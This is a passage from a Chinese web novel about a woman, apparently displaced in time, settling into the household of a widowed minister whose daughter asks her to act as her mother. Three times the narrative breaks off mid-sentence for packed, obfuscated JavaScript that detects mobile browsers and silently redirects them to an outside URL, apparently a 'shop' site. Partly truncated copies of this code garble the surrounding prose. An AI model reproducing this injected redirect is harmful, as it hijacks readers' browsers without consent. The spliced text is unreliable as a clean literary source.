“也对,小朋友都爱吃零食。” 不过个人口味不同,这方面她是完全参考左时珩的意见,买了许多,直让他都抱了满怀,其中尤以甜食甚多。 两人搬到马车上时,安声不放心地问:“小孩真能吃这么多甜的吗?不怕把牙齿吃坏了?” 左时珩笑道:“有度即可。” 马车从大街驶入内城,人渐渐少了,市井喧嚣被留在身后,周遭逐渐安静下来,哒哒的马蹄声与倾轧在青石板上的车轮声清晰入耳。 与之前相比,街面也愈发宽阔平坦整洁,大约有专人洒扫。内城宅邸大多豪华,门头威严,占地极广,不过高墙耸立,见不到奢靡内景。 偶见衣着华贵之人骑马走过,或有仆从簇拥着软轿马车缓缓而过,安声顺着长街尽头望去,远远是一座巍峨的皇宫,与她记忆中的故宫十分近似。 马车驶离朱雀大街,路过一座坐北朝南的府邸,门前一对抱鼓石,大门紧闭,门楣高悬,雕花匾额上写着“江左夷吾”四字。 见安声盯着看,左时珩与她解释那是圣眷御笔,于是安声又多看了几眼,心道也不是每个皇帝写字都好看嘛。 马车并未停下,而是拐入皇城东南侧一处胡同口,胡同很宽,可并行两辆马车,这里坐落着好几座相邻的宅邸,皆是朝廷的高级官员。 他们坐的马车并未有明显标识,但另一辆出胡同的马车主人仍是立即认出了他,拨开帘子笑着招呼。 “左大人,这是从哪里回来?” 左时珩坐在车内朝人点头:“云水山。” 对方闻言叹了口气,连忙提起另一事:“成国公府的园子新修了,正要办个雅集请些达官显贵去赏花呢,想必帖子也下到你府上了。” 说罢似怕左时珩拒绝,又道:“左大人平日那么忙,更要时时散心走动才有利于去去病气,别总拒绝啊,哦对了,这次那位文安侯夫人不来,你大可放心。” 马车重新走动时,安声才透窗打量,见那马车后跟着整整一队的仆从与侍卫,实在壮观,直到马车驶出胡同口半天,人还未走完。 “他是什么官?这么大排场。” “不是官,是宁贵妃的父亲,国舅爷冯敬,人倒不坏,只是平日里爱出风头。” “他刚刚看你的眼神好像很同情你?” 左时珩道:“或许是因为我提到云水山。” 安声收回视线,与左时珩交汇,也忍不住同情起来。 她明白了,大概在旁人眼中,左时珩是个心伤至深不愿接受现实的可怜鳏夫吧。 她又问:“那他刚刚提到的文安侯夫人是什么人?听他的语气你好像很不愿见到她?” 左时珩往车壁上略靠了靠:“文安侯夫人惯做红娘,很是热衷给京中勋贵做媒。” 安声恍然,以左时珩的年纪,地位,才华,品貌,虽说故剑情深,但不失为一桩顶好姻缘,嫁过来直接便有儿女承欢膝下,无须侍奉公婆,更不必应付侍妾,完全是安稳过日子的。 这样的优质资源,做媒人的最是舍不得放弃。 想必他已不堪其扰了。 她不禁有些想笑,古今中外,谁也逃不了催婚。 马车在一处侧门前停下,左时珩请安声暂留车内,自己先下了车,与门房交谈了几句,很快便有另一人出来,是位方脸宽额的中年男人,模样四十来岁,气质很是沉稳。 不知他们说了什么,男人往安声这边看过来,见到安声的第一眼便震惊许久,随即垂首拭泪。左时珩轻拍他肩,忽低头咳了一阵,男人忙抬手扶他,他摆摆手,又不知说了什么,男人频频点头,转身走了进去。 左时珩回到车旁,缓了一缓,声略沙哑,不过面色如常。 “抱歉,安声,我家中人不多,除去看家护院与日常洒扫的仆从外,内宅只有一位管家,一位娘子,以及一位丫头,他们乃是一家,在我这里好些年了,与我们夫妻相识已久,感情深厚,若见了你难免失态,还请你多担待些。” 安声表示理解,其中一路上也做好了心理准备,不等左时珩再说什么,她未免之前的尴尬,先提着裙子跳下了车。 自有人安排他们买的那些东西,她便先跟着左时珩进了宅子。 这是一座多路多进大型四合院群,面积很大,一进来便觉到了另一处天地,其中亭台楼阁,水榭廊桥,应有尽有。 安声是从侧门进的,所以不必走很远,一进来穿过垂花门便是内宅。 她本想保持的成熟稳重些,但实在耐不住好奇,一路上左顾右盼,赞叹连连。 “这地方这么大,平时住的过来吗?” 步过正房一侧的庑廊,安声便跟着左时珩进了更私密的内院,也是日常起居处。 “平时也只在一个院子里,其他地方都是空着的。”左时珩步伐缓慢,似是为给足她观赏的时间,一路上,无论她问什么,他都 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16692009|188876||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 耐心十足,一一解答。 “这座宅邸曾是前朝某位亲王的,后来是本朝礼亲王就藩前居所,再后来圣上赐给了我,离皇宫与工部衙署皆不远,相对便利。” “也就是说,你之前不住这儿?” “嗯,成婚三年才搬进来,原先住在东街长锦坊杏花胡同里,是座二进院落。” “原来如此,那你一定特别能干,所以皇上才赏这么大宅子给你。” 左时珩笑了声。 说话间,安声已随他到了起居处。 第三进院亦是很大。 入目是一间正厅,左右两侧有东西厢房,东厢房乃是他们夫妻日常住的,西厢房则作了左时珩的书房,厢房后皆有耳房,后面是座后罩房,再后面是座雅致花园。 后罩房曾是他们的儿女与贴身丫鬟住的地方,后来儿女长大,另择了院子,女儿仍住在内宅,儿子则搬去了外院,如今这里便只有左时珩一人住着。 左时珩让安声安心住在东厢房,他则搬去书房。 他们来时,门口见过的那位管家穆山正领人收拾,这里平日本就有仆从时时洒扫,不过添置些床铺而已,收拾的倒也很快。 安声一来就占了人家的主卧,有些羞惭,但到了人家家里,也只好按人家的安排来,自己不好有更多要求,便没一再推辞。 她刚走到东厢房门口,迎头撞见一个十八九岁的姑娘抱着一床被子出来,猛地见到她时先是吓了一跳,随即便像是呆住了,什么话也不说,一动不动地望着安声。 夕照斜斜入窗,两人的黄昏中似有萤火飞舞。 穆诗觉得时光仿佛停滞在此刻,又或者翻回几年前,她最后一次见到夫人,也是此般黄昏。 视线模糊,泪水泄了洪似的无声泼洒,穆诗嘴张了张,哽咽得发不出一个字。 在安声惊愕的眼神中,她抱着被子,浑身颤抖地缓缓跪倒,朝她磕了个头,伏地不起,从泣不成声到放声大哭。 “你……你还好吧?” 安声蹲下想将她搀扶起来,无果,小姑娘连被子都不管了,丢在一旁,扑到安声怀里连连喊着“夫人夫人”。 安声鼻头一酸,也险些跟着掉泪。 纵然她并不是她的夫人,但此时也难免共情。 “穆姐姐是太思念娘亲了。” 一道清脆稚嫩的少女音蓦然响起。 安声回头,见一八九岁的小姑娘站定在不远处,身着鹅黄色薄袄,粉色长裙,梳着两个发髻,粉雕玉琢的漂亮。 此刻正小脸通红,气喘吁吁,显然是一路跑了过来。 左岁正要唤她,余光忽瞥见廊下阴影里静立的爹爹,便转头看了过去。 爹爹眼尾泛红,朝她温柔笑着,抬手克制地比了个“嘘”势。 左岁站在原地,胸口急促起伏了几下,眼泪骤然如珍珠般一连串坠落下来,她却并未哭出声,也未再开口,只走到安声面前站定,抬手拭了拭泪。 小姑娘的泪珠根本止不住,才擦去又滚滚落下。可即便哭成这般也还是不吵不闹,实在令人心疼。 安声心里莫名难受,扶起已稍稍冷静些的穆诗,俯身摸了摸她柔软的头发。 “你好呀,岁岁。” 5. 女儿 左岁紧抿着唇,眼泪啪嗒掉。 听到安声唤她小名时,更是哭得惹人怜。 她朝安声伸出双手,小小的身躯不住抽噎着。 安声蹲下将她搂进怀里。 “岁岁,可以大声哭出来,没关系。” 左岁紧紧搂着她脖子,埋在她颈间摇了摇头,细密压抑的哭腔一阵阵地传入安声耳中,在她心间也蔓延开密密麻麻的针扎般的疼。 穆诗低头擦了擦止不住的泪,不愿打扰她们,便抱着被子离开,心下既难过又高兴,她同小姐的心情差不多,不过小姐几岁就失去夫人,当年几乎每晚都躲在被子里哭到睡着,她心疼得不知怎么办才好,如今夫人回来了,真好,真好。 穆诗走出去才看见廊下静立的左时珩,忙朝他行了个礼,又哭又笑。 “大人果然说到做到,真的把夫人接回来了!” 左时珩笑笑,轻声嘱咐:“不过夫人暂忘了从前的事,不要给她压力。” 穆诗瞪大眼:“连小姐,少爷,还有大人您也忘了吗?” 左时珩长睫几不可察地颤了颤,又温声道:“无妨,她仍是你的夫人,于我以及小姐少爷而言,也未曾改变。” 穆诗重重点头。 左岁在安声怀里抽噎着,万般依恋地抱紧了她。 安声不知如何安慰小孩子,只能一边摸着她头发,一边说些好话哄她。 她知道小姑娘定是太过思念母亲,将感情投射在自己身上,但她此刻也不忍心与她解释真相,让她强行抽离,只思忖着等她缓过来些,再寻机开口。 “岁岁,我给你买了很多吃的,你想不想去看看?” 左岁摇头,生怕她离开似的,手臂更收了力。 安声抬头,注意到左时珩正站在门口,最后一缕夕阳落在他眉眼间,将他的温柔清隽渲染得淋漓尽致。 她向他投去求助的目光。 左时珩一笑,走了进来,轻轻拍拍女儿的背:“岁岁,人一直这样蹲着会很累的。” 左岁这才松开了她,已是哭得双眼红肿,小兔子一样。 安声方觉双脚已麻得失去知觉,撑着膝盖站起来,一个踉跄不稳险些跌倒,被左时珩扶住。 “小心。”他道,“如何,站得稳么?” “没事,不用,我可以。” 安声飞快抽回手,发窘地捋了下发丝。 左时珩低低应了声,抬手摸了摸女儿的头,给她递了块帕子。 “爹爹去收拾书房,你在这里陪着……咳……” 他似一下不知如何称呼,有些语滞,握拳掩唇。 “好。”左岁用帕子擦着眼泪,乖巧点头,“爹爹尽管去忙。” 左时珩朝安声示意了下,转身离开,夕阳隐去,晚风隐约送来压低的咳声。 “你……”左岁团了团泪湿的帕子,塞到袖子里,仰头望着安声,“你能不能……假装是我……娘亲……” 话未说完,又开始啜泣,大而明亮的眼睛里蓄满了泪,摇摇欲坠。 “假装?” 安声微怔。 左岁将帕子又拽出来低头捂脸,声音断断续续:“以后……我就唤你……娘亲……好……好不好?” 安声明白了她的意思,抻了抻发麻的腿,俯身笑应:“如果你想,那就这么叫吧。” 反正在外,她的确是他们的家人,但在内,虽情感上分得清,但言语上很难去苛求一个八九岁的孩子。 何况,将心比心,面对一位与自己母亲容貌姓名皆相同的女子,不叫母亲的话,他们又该如何理解如何接受这件诡事呢。 不过左岁似乎在见到她的第一面,就确定她并非是她的母亲,因而不像穆诗喊她“夫人”那般直接唤她,而是眼下这般礼貌询问。 难道是左时珩在之前就同一双儿女说过什么?她不确定。 听到安声答应,左岁深呼吸了下,似松了口气,扬起小脸正大光明地喊:“娘亲。” 安声抛开杂念,笑着轻捏她的脸蛋:“好的,岁岁。” “娘亲手受伤了吗?”左岁注意到她手上的痕迹,又皱起脸,凑过去吹了吹,“还疼吗?” 安声手上不过是点擦伤,昨日左时珩替她包扎上了药,今日就已结痂了,不是很明显。 “不要紧,已经好了。” 左岁牵住她另只手,虽还止不住抽噎,却已缓了许多:“娘亲,那我带你到房里去看看。” 果然小孩的情绪就是来得快去得快。 安声笑笑,任由她拉着进了房间。 东厢房不大,布置却很是温馨,雕花木床上罩着浅粉色的帷帐,金钩上挂着平安结,窗边是梳妆台,摆着一面铜镜清晰照人,还有几盒妆奁,皆收拾齐整。 床侧立着一个大衣柜,并两口很大的楠木箱子。 左岁一一打开给她看:“娘亲的衣裳爹爹每年都会按时节挂出来,晒晒太阳,之后再叠好收起。” 厢房连着耳房,耳房里摆了洗漱用具并一间净室,净室门口有一架屏风,上面绘有图案。 安声视线掠过,差点以为自己眼花了。 “这上面的画……” 一只小猫和一只小狗……一起洗澡?? 左岁在她身下探头:“这是爹爹画的。” 她扯她袖子,期待地问:“娘亲喜欢吗?” 安声缓过神:“嗯,还……挺可爱的。” 左岁眼一亮:“娘亲果然喜欢。” 安声笑了笑,没说话。 她觉得左岁是在她身上找她母亲的影子,不过不可否认的是,那位“安声”与她的喜好确实近似。 窗外夜幕降临,左岁熟练地点起了灯,见她用手中工具燃起明火时,安声还有些心惊,试图帮忙,她却摇了摇头,说这些小事娘亲都教过她。 一盏明烛,暖黄的光拢起了内室。 “娘亲,我明日搬回风芜院好么?”左岁执着一盏烛台走近,金色光晕在她眉眼化开,柔和温润,与她父亲很像。 “好啊。”安声道。 事实上她也无法拒绝,她在这里不过是客人而已。 “那我今晚……” 左岁将烛台放好,欲言又止,最终作罢,只道,“我今晚还回我的院子,就在隔壁,娘亲若要找我,我立即就来。” 安声笑道:“大晚上我应该没事找你,你安心睡觉,明日我帮你一道搬好了。” 左岁小脸满是认真:“娘亲怕黑,又不与爹爹睡一块儿,自然是我陪着最好。” 怕黑?她还好吧。

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16692010|188876||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 安声还未说什么,穆诗便在外敲门,雀跃道:“夫人,小姐,晚膳准备好了。” 左岁便牵了安声的手:“娘亲,我们先去吃饭。” 十几道菜肴精致而丰盛,在正厅的桌上摆满了,让安声颇有些受宠若惊。 “怎么只有我们两个人?” 左岁推着她坐下:“哥哥在桐花巷读书,每旬回一次家,他还不知娘亲回来,不过爹爹明日会派人去接他的,穆姐姐和穆伯伯在自己院里吃,李妈妈最近回老家去了,不在府上。” 穆诗正好端着最后一道汤进来,笑道:“我们都不知大人会在今日接夫人回来,什么都未及准备,只能委屈夫人将就一番,明日我娘回来,我们去多买些夫人爱吃的菜,一定为夫人摆上家宴接风洗尘。” “哎不不不……”安声起身连连摆手,“已经太多了。” 她问:“左时珩不吃吗?” 穆诗忙道:“大人在书房忙于公务,晚些时候送一份过去就是。” 安声看向左岁,左岁道:“爹爹平日就是这样,总忙得不吃饭,只有病了才会休息。” “这样……对身体不好吧?” “嗯,但爹爹又不听我的话,我们都没有办法。”左岁葡萄般的眸子转了下,“不如娘亲去劝劝吧?爹爹一定会听的。” “我?可我不是……” “爹爹很可怜的。”左岁叹了口气,打断她的话,“娘亲不在时,爹爹茶饭不思,日渐消瘦,年初才病了一场,直到开春还未好全。” 穆诗连声附和,唉声说大人吃的药比饭还多,不过夫人回来了一切都会好的。 话已至此,即便是出于人道主义,安声也该做些什么。 “那,那我去书房看看。” 书房在西厢房,不过穿过一道连廊。无星无月,穆诗提灯为她照路,烛光摇晃,两侧影影绰绰,白日里所见庭景此刻成了暗中环伺的鬼影,三月天,夜风清寒,安声左右环顾,四下无光,唯一清晰的却是一道古色古香的少女背影,神经紧绷起来。 真像走在一部恐怖片里。 所幸不远,转了个弯便见到了亮着灯的书房,面向庭外的一扇窗开着,透着薄薄几缕光,映着墙上的竹影。 穆管家不知从哪里冒出来,朝安声行了个礼,将她吓了一跳。 她按住胸口,微微睁大眼。 穆山正要道歉,书房里传来一阵急促的咳声。 他皱起眉,流露出担忧,先向安声道了歉,随后解释:“我先前端了药给大人,只怕他又不吃,所以来看一眼。” 安声低声问:“左时珩病得很严重吗?” 穆山叹道:“病倒还好,主要是大人自己不珍重,睡不安寝,食不下咽,药也不吃的,自夫人离开一直如此,便是铁打的人也熬不住。若非皇上派了太医上门,大人连表面功夫都不做。” 他望向安声,眼底泛起泪花,甚为欣慰:“不过夫人回来就好,回来就好了。” 安声抿着唇,不知该说什么。 片刻,她轻声道:“那我去看看吧。” 心病还须心药医,可她到底不是他的心药啊。 又能做到什么程度呢。 安声敲了敲门,安静了会,房中传来一声喑哑低沉的:“进来。” 6. 夜深 扑面而来的是沉重浓郁的药气。 昏暗的烛光拢了片不大的地方,吸引着安声的视线。 左侧是一张黄花梨长案,堆满了书册公文,文房四宝,左时珩坐在木椅上,正低头提笔写着什么,背后是整齐又密集地放满了书籍的柜子。 书柜相邻的窗旁置了盏灯,书柜的影子覆压下来,宛如一座山,而他端坐着,面容平和,一袭素衣,似雪里生长的竹。 他并不知是安声来了,因而并未停笔,仍在忙着,只是门开时,窜了阵风进来,引得桌角那盏烛火微微晃了晃,他才稍稍停顿,伸手拢住。 安声的目光扫过整间屋子,右侧窗下放了张软榻,铺着被子枕头,应该是临时铺上去的,中间的桌上依然摆着书,大约也是未及收拾的,除此之外,还有一碗汤药。 “阿声?”左时珩下意识喊道,又赶紧清了下嗓子,遮掩声音里的喑哑,“你怎么过来了?用过饭了吗?” 他搁下笔,起身从案后绕出来。 安声将门关上:“没有,我是来喊你一起吃饭的。” 左时珩微怔,随即笑问:“你希望我和你一起吗?” “嗯……对。” “好。” 他眼中的希冀太过明亮灼热,安声偏开视线,不知是否因这夜色,因这烛光,总觉得他们的对话有些暧昧了。 她有些不太自在。 “那个药呢?还喝吗?”她转移话题,走过去端起闻了闻,皱着鼻子,“好苦啊……” 左时珩笑了笑,从她手边接过药碗放到一旁。 “不必管,待会儿让人倒了就是。” “病了不吃药没关系吗?” “不是什么病,一点未愈的伤寒罢了,是府上人小题大做。” 他低咳两声,给自己倒了杯茶,压下喉间的发痒。 “明日我会让他们不必煎了,免得熏得我这里都是药味。” 安声想劝点什么,又不知从何劝起,怪不得她一直从左时珩身上闻到淡淡药味,可在云水山那几日,他是没有喝药的,便说明是之前药味的残存,能留这么久,想来他当如他们所说,病了许久了。 她斟酌着:“生病了还是要吃药的,要是没效果的话,就换一个大夫看看?或者换别的药?” 左时珩温声应:“好,我会试试的。” 他取下架子上的披风给她,又从墙上拿个灯笼,朝她笑道:“不过眼下,我们应当考虑的是吃饭而不是吃药,走吧,别等的饭菜都凉了。” 回程的路一样短,甚至左时珩手里的灯还不如穆诗手里的亮,但奇怪的是,走在他身旁,安声竟觉得十分放松,甚至有兴致赏起夜景。 来时见到的草木树影,仿佛成了笔下的水墨,在漫过的光亮下潺潺流动。 回到正厅时,左岁不在,只有穆诗在布菜,见二人并肩过来,难掩喜悦。 她解释说小姐已吃完回去休息了,不打扰父母用膳,说罢朝安声眨了眨眼:“夫人,那我也退下了,先去伺候小姐。” 偌大的厅堂,只剩下安声与左时珩二人,以及一桌过于丰盛的佳肴。 安声有些尴尬,便率先出声没话找话。 “好多菜啊……” “嗯。”左时珩倒是一贯从容,坐到桌旁,“穆诗的手艺越发好了,不值得辜负。” 安声这才也坐过去,注意到她与左时珩用的碗筷竟是从云水山带回来的那一套“可爱风”。 “上次就想问,这套是特别烧制的吗?” “是,三年前我去敦川监察河堤修造,回程时路过靖州,特意烧制了这套碗碟带回来,靖州窑的白瓷肌理细腻,质地温润,大多专供给宫里,这算是我……”他不紧不慢地吃了口饭,才轻笑,“滥用了一点工部尚书的职权吧。” 氛围似乎轻松了许多。 安声道:“出差这么辛苦,带点特产纪念品很合理啊,不算滥用职权。” 左时珩:“我也觉得。” 安声怔了下,抬眼与他目光一碰,两人皆忍不住笑起来。 饭毕左时珩与她闲聊了几句,让她早些休息,便回了书房。 穆诗领人进来收拾了,又去里间给她准备好洗澡水。 离开前,安声叫住她:“那个……我衣服……” 穆诗笑道:“夫人的衣裳都收在卧房的衣柜里,应季的大人应当都拿出来了,平日一般不用我们经手,或者夫人想穿什么,告诉我,我替夫人取来?” 穿别人的衣服实在不太合适,也不习惯。 “我是说,我带来的衣服。” 穆诗“啊”了声,有些为难:“我以为是脏了的,拿去叫她们洗了……” 安声:“……” “我知道了。”她说,“辛苦你了。” “夫人又跟我们客气了。”穆诗扬起笑,“还和以前一样。” 待她走了,安声打开了卧室衣柜,几十套衣裙分门别类地叠放整齐,有许多款式,大多为浅色系,因是初春,布料比冬日薄些,摸起来柔软光滑。 她视线落在其中一层,小衣与中衣放在一块,洗澡前顺手便能取用,十分方便。 她出神地想,之前那位与她同名同姓,长得也一样的“安声”,为何会无故消失,又去哪儿了呢。 若是忽有一日她回来了,她却还在,两人面面相觑,应该是一个惊悚故事吧。 “实在抱歉,不得不借用你的了。” 安声叹了口气,从衣柜里拿了衣服进去洗澡。 昨夜在云水山的小院,她心事重重一夜未睡,眼下泡在浴桶中,温热的水浸过肌肤,暖意顺四肢百骸涌动,很快犯了困。 她是被穆诗叫醒的,期间她已进来添了几次热水,见她睡久了,怕她着凉,才叫了她。 “床已用汤婆子暖过了,夫人去床上歇吧。” “嗯……” 安声迷迷糊糊地应了声,任由穆诗帮她擦干了头发,然后穿着柔软贴身的中衣,钻进了暖烘烘的被子里。 穆诗见状笑了笑,熄了灯将门带上。 不知是在泡澡时睡了还是到了陌生地方有些不安稳,安声不久就醒了。 她睁大眼望着床顶,却什么也看不见。 黑暗里唯一片虚无,蔓延着没来由的恐慌。 自她记事起,还从未见过这般极致的黑夜,无论怎样的夜晚,总能从窗外透进一缕灯光。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16692011|188876||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >她翻了个身,攥紧被角,用手往外探了探,透过帷帐的薄纱,外侧更似翻涌着漆黑的墨水,一波波朝她涌来,要将她淹没。 她将手缩回被子里,眨了眨眼,感觉闭上与睁开根本没有任何区别。 脑海里开始不可遏地天马行空——一个完全陌生的世界,一个历史上不存在的朝代,一座空旷的古宅,几个穿着古装的古人在宅子里来回走动,可能就在门外,在窗前,甚至在……床底。 安声屈起了腿。 她知道自己在胡思乱想,但人害怕时很难控制这种失控的想象力。 此时她才意识到左岁说的“怕黑”具有怎样的含金量,若是眼下小姑娘跟她一起睡,她不知多么安心。 黑暗中她的感官似乎也变得敏锐了,隐约听见窗外有脚步声传来。 这大半夜的…… 脑子里构思的鬼故事仿佛即将成真了…… 安声屏住呼吸,不想继续听,又忍不住继续听。 所幸并不是什么鬼故事,脚步声很快停下,是窗外有人在廊下悬了个灯笼,薄如蝉翼的光晃了晃,透过窗牖温柔入室,罩了层明黄轻纱,将卧室内的家具布置勾勒出模糊形状,不再是虚无深渊。 安声精神放松了下来,盯着那片光亮处,渐渐重新有了睡意。 左岁抱着布娃娃走进院子时,见到父亲在廊下孤灯静立,形单影只,高大挺拔的身躯却有几分单薄。 “爹爹。”她轻声唤。 左时珩转过身,略诧异,随即笑着朝女儿招了招手。 “这么晚过来,岁岁是想娘亲了么?” 左岁踏上台阶,同父亲坐在围栏上,抱着娃娃点头。 左时珩柔声问:“娘亲不认识我们了,岁岁会不会很难过?” 左岁低下脑袋,眼眶渐渐泛红,她点了点头,又摇头,抬头看向父亲。 “我知道爹爹比我更难过。” 左时珩缄默。 左岁抱住他,软声道:“我怕吓到娘亲,没有说以前的事,只问她可不可以假装是我娘亲,她答应了,所以我日后还是可以同娘亲撒娇,哥哥也是,可爹爹不行。” 左时珩身躯些微僵住,半晌他拍拍女儿的肩膀:“爹爹也会努力的。” 又低声嘱咐:“明日你去陪娘亲睡觉吧,她一个人会怕。” “那我现在能进去吗?”左岁抿着嘴,“我原想等明日的,今晚却怎么都睡不着,怕一觉醒来娘亲就不见了。” “你娘亲已睡下了,这会儿进去反而会吓到她。”左时珩摸摸女儿的头,“爹爹保证,娘亲是真的回来了,不会不见的,所以不迟在今晚。何况,岁岁才九岁,正是长身体的时候,好好睡觉最重要,对吗?娘亲以前不是也这样和岁岁说过吗?” “嗯,那爹爹呢?爹爹病还没好全,怎么一直站在这里吹冷风?” “爹爹没有吹冷风,只是想在这里再守娘亲一会儿,爹爹答应你,很快就去休息,好吗?” 左岁乖巧点头,起身走了两步,又回来勾起左时珩的小指。 “爹爹别难过,我和哥哥都会帮你的,拉勾。” 左时珩笑着摇了摇手指:“好,那全靠岁岁和阿序了。” 7. 外事 左岁早早便醒了,穆诗端着洗漱热水进来时,她已坐在梳妆台前乖乖扎头发。 穆诗一愣,走过去盯着镜子里那张逐渐长开,与安声愈发相似的容颜笑:“起这么早,今日是还要去永国公府吗?” 永国公府里女孩多,府上老夫人特意从苏州请了一位有名的女西席,来教导府上小姐的诗书礼乐,后来京中与之交好的贵族,也将自家姑娘送去受习,人便多起来。 老夫人喜欢女孩又爱热闹,干脆又请了一位女先生,给姑娘们一并教导。 左岁五岁时就被左时珩送去读书,是年龄最小的,因着聪慧懂事又玲珑可爱,老夫人格外喜欢她,知道她幼时丧母,父亲又忙,便更是怜爱非常,时常留她住下。 昨日左时珩本没有去接她的,是她昨日算着父亲从云水山回转的日子,自己回的家。 她知道爹爹每次从云水山回来心里都很难过,却又不说,所以想回家陪陪爹爹,没想到这次爹爹接了娘亲回家。 “不去,穆姐姐你亲自替我跑一趟告个假吧,下个月我再去。” 左岁手上的头绳绕了几圈,好不容易扎好,却怎么看都有些歪,不禁皱皱眉。 不满意道:“还是不会。” 穆诗一边应着,一边笑着接手,替她重新弄:“姑娘偏要自己扎辫子,看来是嫌我笨手笨脚了。” “全京城都没有穆姐姐的手艺,国公府家的姐妹都恨不得让她们的丫头来姐姐这拜师。” 穆诗笑道:“我看呐,是全京城都没有姑娘的嘴甜。” “爱夸人是个很好的优点,我娘亲说的。”左岁说着忽然想到什么,抬手阻止了穆诗的动作,“姐姐,解了吧。” - 左序将七八本书并一卷熟宣整齐地放入书箱,往书桌上看了眼,又从一沓文章里挑了三篇好的一并放进去。 “你不就临时回趟家吗?怎么带这么多东西?”一个看起来年龄稍他长两三岁的少年凑近,拿起那几篇文章,“还有这些,已是作好了的,特意带回去,为了得你父亲表扬?” “才不是。”左序转头望着来人,少年正是永国公府家的嫡孙谢毓华,也是他在松下书院关系要好的同窗。 他蹙眉,无奈又担忧:“我爹爹接我回去,不管是为了何事,必是要看我文章的,他若觉得我在书院没用功读书,我就惨了。” 虽是得了夫子青眼的几篇文章,想得到爹爹肯定却不容易。 “左大人很凶吗?” “他脾气很好,但在我功课上严厉。” 左序叹了口气,真想念娘亲在的时候,哪怕他调皮犯错,当着娘亲面,爹爹都要耐心得多。 谢毓华同情地拍了拍他肩膀,又劝慰他:“我听说左大人是太永年的状元,学问冠绝京城,一般人想请他指教都不能呢,你就别身在福中不知福了。” 左序微笑:“谢兄,你若愿意,便把你文章给我,我一同带回去,请我爹批驳了给你。” 少年打个哈哈:“我还是算了,不给尚书大人添麻烦。” 又问:“哎,下次书院休假你去我家住怎么样,你妹不也在吗?” 左序警惕:“不许打我妹妹主意。” 谢毓华在他肩上用力一捏,疼得他龇牙咧嘴。 “开什么玩笑,你妹才九岁。” “我也九岁,你不是与我称兄道弟了吗?……手劲这么大。” “……”谢毓华推他,“快走吧你。” 左序抱着重重的书箱走出书院,穆山从他手里接过,放上马车。 他问:“穆伯,爹爹突然让你接我回去,是为何事?” 穆山笑而不语,只道少爷回去就知道了。 左序左思右想不得其所,将自己可能犯的错都捋了遍,一路紧张着到了家。 先回了自己院子,听小厮说父亲上朝未归,他浅松口气,整理着带回来的书箱,又听他道府上似乎来了客人。 “似乎?”左序撇撇嘴,“白泉,你如今说话十分不严谨。” 小厮不过比他大一岁,也是个半大孩子,闻言挠头:“少爷,主要我也没见到,是昨日跟着大人回来的,从后门直接进的内宅。” 左序愈发好奇:“什么客人这样神秘?” 风芜院卧房中,安声正给小姑娘第四次扎辫子。 她实在没长一双巧手,前几次扎的东倒西歪,第四次才勉强能看。 “会不会太紧了?” 安声捏捏左岁头上两个盘起来的发髻,下方各垂了一缕头发,显得娇俏活泼。 左岁笑得甜甜的:“不会,正正好。” “那就好,我不太会扎头发。” 安声有些不好意思,说起来,她起床到现在,还是披头散发呢。 昨夜一觉睡得很好,翌日也无人叫她,睁眼已是大天亮。 今日晴好,灿灿阳光斜入窗棂,照得室内一片温暖明亮。 安声拨开帷帐时,还见到窗外的几枝海棠发了花苞,心也跟着怡然起来。 穆诗不在,另有丫鬟打了水来,安声不习惯别人伺候,自己简单洗漱了番。 丫鬟同她说,左时珩天刚亮便上朝去了,她点点头表示知道了。 昨日买的那些吃食已被人送了过来,在厅中桌上整齐摆着,她换了衣裳出来见到左岁,才知她一大早就来找她,见她睡着,并未打扰,而是捧了本书安静在读。 九岁的小姑娘已有些亭亭玉立之相,她端坐着,乌发垂肩,身姿俨然,神情专注,颇有些左时珩的气质。 “岁岁,早啊。” “娘亲!” 左岁抬起头,眼眸发亮,毫不犹豫地扑进她怀中,“娘亲,给我扎头发吧。” 一道用过早饭后,左岁赖在她身旁消磨时光,外面下人来来去去,忙着将她院里的东西搬回风芜院。 左岁问她今晚是否能和她一起睡,安声心里暗喜,表面只淡定说“好”,没好意思承认自己昨晚怕黑险些没睡着。 给左岁梳好头后,安声坐在铜镜前试图给自己也拾掇一个合适的发型,弄了半天还是放弃了。 “岁岁的娘亲从前是怎么梳头发的?” “在家时很随意,出门或待客时有穆姐姐呢。” “像我这般随意吗?” “嗯,有时候是。”左岁站到她旁边,伸手拢起她的长发,“不过我见过爹爹会帮娘亲这样挽发,等爹爹回来娘亲问问?” “不用不用。” “那我去问,学了给娘亲挽。” 安声笑了声,愈发觉得左岁聪明可爱,实在让她喜欢。 她牵着她回到桌旁,见她没动桌上的小食,便问:“岁岁不爱吃这些吗?” 左岁捻起一块糖糕小小咬了口又放下:“我不怎么吃太甜的,又在换牙,爹爹也不许吃。” “啊?可这就是你爹爹要我买的。” 安声将她那块拿起尝了,入口绵软清香:“不算甜,我倒挺喜欢。” 